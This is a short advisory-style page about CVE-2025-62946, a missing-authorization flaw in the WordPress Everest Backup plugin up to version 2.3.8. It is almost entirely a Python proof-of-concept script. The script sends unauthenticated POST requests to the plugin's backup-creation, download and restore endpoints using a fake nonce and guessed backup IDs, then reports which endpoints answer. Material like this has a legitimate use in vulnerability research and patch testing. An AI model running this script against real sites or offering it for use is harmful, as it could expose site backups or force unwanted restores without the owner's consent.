CVE-2025-62946: WordPress Everest Backup插件缺失授权访问控制漏洞

# CVE-2025-62946 PoC - Everest Backup Broken Access Control # This PoC demonstrates the missing authorization vulnerability in Everest Backup plugin import requests import sys def exploit_cve_2025_62946(target_url): """ Exploit for CVE-2025-62946: Everest Backup <= 2.3.8 Broken Access Control This vulnerability allows unauthenticated users to access protected backup functions. """ # Define vulnerable endpoints endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/everest-backup/v1/backup', '/wp-json/everest-backup/v1/download', '/wp-json/everest-backup/v1/restore' ] print(f"[*] Target: {target_url}") print(f"[*] Testing Everest Backup <= 2.3.8 for Broken Access Control") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Test backup creation without authentication if 'backup' in endpoint: data = { 'action': 'everest_backup_create_backup', 'security': 'fake_nonce' # Attempting without valid nonce } elif 'download' in endpoint: data = { 'action': 'everest_backup_download', 'backup_id': '1' } elif 'restore' in endpoint: data = { 'action': 'everest_backup_restore', 'backup_id': '1' } else: data = {} try: response = requests.post(url, data=data, timeout=10) # Check if request was processed without authorization if response.status_code == 200: print(f"[+] Endpoint {endpoint} responded without authentication") print(f" Response: {response.text[:200]}") else: print(f"[-] Endpoint {endpoint} returned status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {endpoint}: {e}") print("\n[*] Note: This PoC checks for missing authorization checks.") print("[*] A vulnerable site will process requests without proper authentication.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_62946_poc.py <target_url>") print("Example: python cve_2025_62946_poc.py http://example.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_62946(target)